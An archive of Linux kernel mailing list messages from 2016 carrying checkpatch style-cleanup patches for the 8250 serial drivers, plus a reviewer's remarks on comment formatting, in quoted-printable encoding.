List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26371 gmane.linux.kernel:2126024
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26371>

This patch fixes whitespace errors reported by checkpatch to increase
readability. Main focus is on missing spaces after commas in
function headers and macros (like foo,bar edited to foo, bar).

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_acorn.c |  2 +-
 drivers/tty/serial/8250/8250_hub6.c  |  2 +-
 drivers/tty/serial/8250/8250_pci.c   | 10 +++---
 drivers/tty/serial/8250/8250_port.c  |  2 ++
 drivers/tty/serial/8250/serial_cs.c  | 60 ++++++++++++++++++----------=
--------
 5 files changed, 40 insertions(+), 36 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_acorn.c b/drivers/tty/serial/=
8250/8250_acorn.c
index 549aa07..402dfdd 100644
--- a/drivers/tty/serial/8250/8250_acorn.c
+++ b/drivers/tty/serial/8250/8250_acorn.c
@@ -70,7 +70,7 @@ serial_card_probe(struct expansion_card *ec, const st=
ruct ecard_id *id)
 	uart.port.regshift	=3D 2;
 	uart.port.dev	=3D &ec->dev;
=20
-	for (i =3D 0; i < info->num_ports; i ++) {
+	for (i =3D 0; i < info->num_ports; i++) {
 		uart.port.membase =3D info->vaddr + type->offset[i];
 		uart.port.mapbase =3D bus_addr + type->offset[i];
=20
diff --git a/drivers/tty/serial/8250/8250_hub6.c b/drivers/tty/serial/8=
250/8250_hub6.c
index a5c778e..27124e2 100644
--- a/drivers/tty/serial/8250/8250_hub6.c
+++ b/drivers/tty/serial/8250/8250_hub6.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define HUB6(card,port)							\
+#define HUB6(card, port)						\
 	{								\
 		.iobase		=3D 0x302,				\
 		.irq		=3D 3,					\
diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 4097f3f..ccf43cb 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -850,7 +850,7 @@ static int pci_netmos_init(struct pci_dev *dev)
 			break;
=20
 		default:
-			if (num_serial =3D=3D 0 ) {
+			if (num_serial =3D=3D 0) {
 				moan_device("unknown NetMos/Mostech device", dev);
 			}
 	}
@@ -1198,8 +1198,9 @@ static int pci_quatech_has_qmcr(struct uart_8250_=
port *port)
=20
 static int pci_quatech_test(struct uart_8250_port *port)
 {
-	u8 reg;
-	u8 qopr =3D pci_quatech_rqopr(port);
+	u8 reg, qopr;
+
+	qopr =3D pci_quatech_rqopr(port);
 	pci_quatech_wqopr(port, qopr & QPCR_TEST_FOR1);
 	reg =3D pci_quatech_rqopr(port) & 0xC0;
 	if (reg !=3D QPCR_TEST_GET1)
@@ -1286,6 +1287,7 @@ static int pci_quatech_init(struct pci_dev *dev)
 		unsigned long base =3D pci_resource_start(dev, 0);
 		if (base) {
 			u32 tmp;
+
 			outl(inl(base + 0x38) | 0x00002000, base + 0x38);
 			tmp =3D inl(base + 0x3c);
 			outl(tmp | 0x01000000, base + 0x3c);
@@ -4502,7 +4504,7 @@ static struct pci_device_id serial_pci_tbl[] =3D =
{
 		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
 		pbn_b0_bt_2_921600 },
 	{	PCI_VENDOR_ID_OXSEMI, PCI_DEVICE_ID_OXSEMI_16PCI958,
-		PCI_ANY_ID , PCI_ANY_ID, 0, 0,
+		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
 		pbn_b2_8_1152000 },
=20
 	/*
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 52d82d2..7f3bd7b 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -1327,6 +1327,7 @@ static void serial8250_start_tx(struct uart_port =
*port)
=20
 		if (up->bugs & UART_BUG_TXEN) {
 			unsigned char lsr;
+
 			lsr =3D serial_in(up, UART_LSR);
 			up->lsr_saved_flags |=3D lsr & LSR_SAVE_FLAGS;
 			if (lsr & UART_LSR_THRE)
@@ -1734,6 +1735,7 @@ static void wait_for_xmitr(struct uart_8250_port =
*up, int bits)
 	/* Wait up to 1s for flow control if necessary */
 	if (up->port.flags & UPF_CONS_FLOW) {
 		unsigned int tmout;
+
 		for (tmout =3D 1000000; tmout; tmout--) {
 			unsigned int msr =3D serial_in(up, UART_MSR);
 			up->msr_saved_flags |=3D msr & MSR_SAVE_FLAGS;
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 4d180c9..6d7a801 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -28,7 +28,7 @@
     and other provisions required by the GPL.  If you do not delete
     the provisions above, a recipient may use your version of this
     file under either the MPL or the GPL.
-   =20
+
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
=20
 #include <linux/module.h>
@@ -257,7 +257,7 @@ static const struct serial_quirk quirks[] =3D {
 };
=20
=20
-static int serial_config(struct pcmcia_device * link);
+static int serial_config(struct pcmcia_device *link);
=20
=20
 static void serial_remove(struct pcmcia_device *link)
@@ -309,7 +309,7 @@ static int serial_probe(struct pcmcia_device *link)
 	dev_dbg(&link->dev, "serial_attach()\n");
=20
 	/* Create new serial device */
-	info =3D kzalloc(sizeof (*info), GFP_KERNEL);
+	info =3D kzalloc(sizeof(*info), GFP_KERNEL);
 	if (!info)
 		return -ENOMEM;
 	info->p_dev =3D link;
@@ -339,7 +339,7 @@ static void serial_detach(struct pcmcia_device *lin=
k)
=20
 /*=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
=20
-static int setup_serial(struct pcmcia_device *handle, struct serial_in=
fo * info,
+static int setup_serial(struct pcmcia_device *handle, struct serial_in=
fo *info,
 			unsigned int iobase, int irq)
 {
 	struct uart_8250_port uart;
@@ -600,7 +600,7 @@ static int serial_check_for_multi(struct pcmcia_dev=
ice *p_dev,  void *priv_data)
 }
=20
=20
-static int serial_config(struct pcmcia_device * link)
+static int serial_config(struct pcmcia_device *link)
 {
 	struct serial_info *info =3D link->priv;
 	int i;
@@ -701,7 +701,7 @@ static const struct pcmcia_device_id serial_ids[] =3D=
 {
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "LINKSYS", "PCMLM336", 0xf7cb0b07, 0x7=
a821b58),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MEGAHERTZ", "XJEM1144/CCEM1144", 0xf5=
10db04, 0x52d21e1e),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MICRO RESEARCH", "COMBO-L/M-336", 0xb=
2ced065, 0x3ced0555),
-	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001" ,0x18df0ba0 ,0x831=
b1064),
+	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001", 0x18df0ba0, 0x831=
b1064),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Diamonds=
 Modem+Ethernet", 0xc2f80cd, 0x656947b9),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Hearts M=
odem+Ethernet", 0xc2f80cd, 0xdc9ba5ed),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "PCMCIAs", "ComboCard", 0xdcfe12d3, 0x=
cd8906cc),
@@ -797,30 +797,30 @@ static const struct pcmcia_device_id serial_ids[]=
 =3D {
 	PCMCIA_DEVICE_CIS_PROD_ID123("ADVANTECH", "COMpad-32/85", "1.0", 0x96=
913a85, 0x8fbe92ae, 0x0877b627, "cis/COMpad2.cis"),
 	PCMCIA_DEVICE_CIS_PROD_ID2("RS-COM 2P", 0xad20b156, "cis/RS-COM-2P.ci=
s"),
 	PCMCIA_DEVICE_CIS_MANF_CARD(0x0013, 0x0000, "cis/GLOBETROTTER.cis"),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL100  1.00.",0x19ca78af,0xf964f42b),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL100",0x19ca78af,0x71d98e83),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL232  1.00.",0x19ca78af,0x69fb7490),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL232",0x19ca78af,0xb6bc0235),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL CA=
RD: CF232",0x63f2e0bd,0xb9e175d3),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL CA=
RD: CF232-5",0x63f2e0bd,0xfce33442),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232",0x3beb8cf2,0x171e=
7190),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232-5",0x3beb8cf2,0x20=
da4262),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF428",0x3beb8cf2,0xea5d=
d57d),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF500",0x3beb8cf2,0xd772=
55fa),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: IC232",0x3beb8cf2,0x6a70=
9903),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: SL232",0x3beb8cf2,0x1843=
0676),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: XL232",0x3beb8cf2,0x6f93=
3767),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: CF332",0x3beb8cf2,=
0x16dc1ba7),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL332",0x3beb8cf2,=
0x19816c41),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL385",0x3beb8cf2,=
0x64112029),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial+Parallel Port: SP230",0x=
3beb8cf2,0xdb9e58bc),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: CF332",0x3beb8cf2,=
0x16dc1ba7),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL332",0x3beb8cf2,=
0x19816c41),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL385",0x3beb8cf2,=
0x64112029),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(2,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(3,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL100  1.00.", 0x19ca78af, 0xf964f42b),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL100", 0x19ca78af, 0x71d98e83),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL232  1.00.", 0x19ca78af, 0x69fb7490),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL232", 0x19ca78af, 0xb6bc0235),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL C=
ARD: CF232", 0x63f2e0bd, 0xb9e175d3),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL C=
ARD: CF232-5", 0x63f2e0bd, 0xfce33442),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232", 0x3beb8cf2, 0x1=
71e7190),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232-5", 0x3beb8cf2, 0=
x20da4262),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF428", 0x3beb8cf2, 0xe=
a5dd57d),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF500", 0x3beb8cf2, 0xd=
77255fa),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: IC232", 0x3beb8cf2, 0x6=
a709903),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: SL232", 0x3beb8cf2, 0x1=
8430676),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: XL232", 0x3beb8cf2, 0x6=
f933767),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: CF332", 0x3beb8c=
f2, 0x16dc1ba7),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL332", 0x3beb8c=
f2, 0x19816c41),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL385", 0x3beb8c=
f2, 0x64112029),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial+Parallel Port: SP230",=
 0x3beb8cf2, 0xdb9e58bc),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: CF332", 0x3beb8c=
f2, 0x16dc1ba7),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL332", 0x3beb8c=
f2, 0x19816c41),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL385", 0x3beb8c=
f2, 0x64112029),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(2, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(3, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
 	PCMCIA_DEVICE_MANF_CARD(0x0279, 0x950b),
 	/* too generic */
 	/* PCMCIA_MFC_DEVICE_MANF_CARD(0, 0x0160, 0x0002), */
--=20
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 03/15] tty: serial: 8250: Fix braces after struct
Date: Wed, 13 Jan 2016 17:39:19 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <1452703171-5632-4-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703614 4334 80.91.229.3 (13 Jan 2016 16:46:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:46:54 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Anton Wuerfel <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:46:43 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOZE-0000Yv-JO
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:46:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754864AbcAMQqN convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:46:13 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:46939 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752729AbcAMQji (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:38 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 9B9D058C4CC;
	Wed, 13 Jan 2016 17:39:35 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:35 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126025 gmane.linux.ports.parisc:26372
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126025>

This patch fixes a checkpatch warning by moving an opening curly brace
to its correct position.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_hp300.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 2891958..5e1b464 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -24,8 +24,7 @@
 #endif
=20
 #ifdef CONFIG_HPAPCI
-struct hp300_port
-{
+struct hp300_port {
 	struct hp300_port *next;	/* next port */
 	int line;			/* line (tty) number */
 };
--=20
1.9.1



From - Thu Nov 08 21:38:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v5 04/15] tty: serial: 8250: Fix multiline comment style
Date: Wed, 13 Jan 2016 19:03:33 +0200
Organization: Intel Finland Oy
Lines: 135
Approved: news@gmane.org
Message-ID: <1452704613.26146.70.camel@linux.intel.com>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
	 <1452703171-5632-5-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452704866 26027 80.91.229.3 (13 Jan 2016 17:07:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 17:07:46 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>
To: Anton Wuerfel <anton.wuerfel@fau.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 13 18:07:42 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aJOtZ-0005DC-GI
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Jan 2016 18:07:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755149AbcAMRHi convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Jan 2016 12:07:38 -0500
Original-Received: from mga14.intel.com ([192.55.52.115]:29886 "EHLO mga14.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755024AbcAMRHb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Jan 2016 12:07:31 -0500
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga103.fm.intel.com with ESMTP; 13 Jan 2016 09:07:24 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.22,290,1449561600"; 
   d="scan'208";a="880653291"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by fmsmga001.fm.intel.com with ESMTP; 13 Jan 2016 09:07:20 -0800
In-Reply-To: <1452703171-5632-5-git-send-email-anton.wuerfel@fau.de>
X-Mailer: Evolution 3.18.3-1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26373 gmane.linux.kernel:2126052
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26373>

On Wed, 2016-01-13 at 17:39 +0100, Anton Wuerfel wrote:
> Checkpatch outputs some warnings about incorrect comment style,
> which is fixed by this patch.
>=20


> --- a/drivers/tty/serial/8250/8250_ingenic.c
> +++ b/drivers/tty/serial/8250/8250_ingenic.c
> @@ -152,14 +152,18 @@ static void ingenic_uart_serial_out(struct
> uart_port *p, int offset, int value)
> =C2=A0		break;
> =C2=A0
> =C2=A0	case UART_IER:
> -		/* Enable receive timeout interrupt with the
> -		=C2=A0* receive line status interrupt */
> +		/*
> +		=C2=A0* Enable receive timeout interrupt with the
> +		=C2=A0* receive line status interrupt

I'm pretty sure that at least one word could fit previous line.

Can you re-check your patches with sane editor setting for line
breaking (like 76 characters)?

> +		=C2=A0*/
> =C2=A0		value |=3D (value & 0x4) << 2;
> =C2=A0		break;
> =C2=A0
> =C2=A0	case UART_MCR:
> -		/* If we have enabled modem status IRQs we should
> enable modem
> -		=C2=A0* mode. */
> +		/*
> +		=C2=A0* If we have enabled modem status IRQs we should
> enable modem
> +		=C2=A0* mode.

To check.

> +		=C2=A0*/
>=20

> @@ -367,8 +367,10 @@ static const struct pnp_device_id
> pnp_dev_table[] =3D {
> =C2=A0	{	"PNPCXXX",		UNKNOWN_DEV	},
> =C2=A0	/* More unknown PnP modems */
> =C2=A0	{	"PNPDXXX",		UNKNOWN_DEV	},
> -	/* Winbond CIR port, should not be probed. We should keep
> track
> -	=C2=A0=C2=A0=C2=A0of it to prevent the legacy serial driver from pr=
obing it
> */
> +	/*
> +	=C2=A0* Winbond CIR port, should not be probed. We should keep
> track
> +	=C2=A0* of it to prevent the legacy serial driver from probing it

I would suggest to add dot at the end of sentences. Here and in the
rest of the places.


> --- a/drivers/tty/serial/8250/8250_port.c
> +++ b/drivers/tty/serial/8250/8250_port.c
> @@ -250,9 +250,11 @@ static const struct serial8250_config
> uart_config[] =3D {
> =C2=A0		.fcr		=3D UART_FCR_ENABLE_FIFO |
> UART_FCR_R_TRIG_10,
> =C2=A0		.flags		=3D UART_CAP_FIFO |
> UART_CAP_AFE,
> =C2=A0	},
> -/* tx_loadsz is set to 63-bytes instead of 64-bytes to implement
> -workaround of errata A-008006 which states that tx_loadsz should=C2=A0=
=C2=A0be
> -configured less than Maximum supported fifo bytes */
> +	/*
> +	=C2=A0* tx_loadsz is set to 63-bytes instead of 64-bytes to
> implement
> +	=C2=A0* workaround of errata A-008006 which states that tx_loadsz
> should be
> +	=C2=A0* configured less than Maximum supported fifo bytes

Ditto.

> --- a/drivers/tty/serial/8250/serial_cs.c
> +++ b/drivers/tty/serial/8250/serial_cs.c
> @@ -441,16 +441,20 @@ static int simple_config(struct pcmcia_device
> *link)
> =C2=A0	struct serial_info *info =3D link->priv;
> =C2=A0	int i =3D -ENODEV, try;
> =C2=A0
> -	/* First pass: look for a config entry that looks normal.
> -	=C2=A0* Two tries: without IO aliases, then with aliases */
> +	/*
> +	=C2=A0* First pass: look for a config entry that looks normal.
> +	=C2=A0* Two tries: without IO aliases, then with aliases

Ditto.

> @@ -480,8 +484,10 @@ static int multi_config_check(struct
> pcmcia_device *p_dev, void *priv_data)
> =C2=A0	if (p_dev->resource[1]->end)
> =C2=A0		return -EINVAL;
> =C2=A0
> -	/* The quad port cards have bad CIS's, so just look for a
> -	=C2=A0=C2=A0=C2=A0window larger than 8 ports and assume it will be =
right */
> +	/*
> +	=C2=A0* The quad port cards have bad CIS's, so just look for a
> +	=C2=A0* window larger than 8 ports and assume it will be right

Ditto.

> -	/* Another check for dual-serial cards: look for either
> serial or
> -	=C2=A0=C2=A0=C2=A0multifunction cards that ask for appropriate IO p=
ort
> ranges */
> +	/*
> +	=C2=A0* Another check for dual-serial cards: look for either
> serial or
> +	=C2=A0* multifunction cards that ask for appropriate IO port
> ranges

Ditto.

--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v5 05/15] tty: serial: 8250: Remove else after return
Date: Wed, 13 Jan 2016 19:05:22 +0200
Organization: Intel Finland Oy
Lines: 33
Approved: news@gmane.org
Message-ID: <1452704722.26146.73.camel@linux.intel.com>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
	 <1452703171-5632-6-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
